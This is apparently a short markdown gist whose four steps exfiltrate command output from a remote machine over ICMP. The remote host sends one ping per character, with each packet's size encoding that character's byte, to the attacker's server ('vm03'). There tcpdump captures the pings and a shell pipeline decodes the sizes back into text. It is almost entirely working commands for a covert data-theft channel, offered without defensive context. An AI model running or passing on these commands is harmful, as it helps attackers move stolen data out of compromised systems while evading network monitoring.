Commands to exfiltrate command output via ICMP packet size

icmp.md

1. Capture ICMP packets on your server:

tcpdump -nni eth0 -e icmp[icmptype] == 8 -w output.cap

2. Send ICMP packets to your server with each byte stored in the packet size, execute this on the remote machine:

ip=vm03;output=`hostname`;for ((i=0;i<${#output};i++));do; ping -c 1 -s `printf '%d\n' "'${output:$i:1}'"` $ip;done

3. Stop tcpdump started in step 1
4. Decode the ICMP packet sizes to reveal the command output:

tcpdump -ttttnnr output.cap | awk '{print $NF}' | while read ord; do printf "\\$(printf '%03o' "`expr $ord - 8`")"; done; echo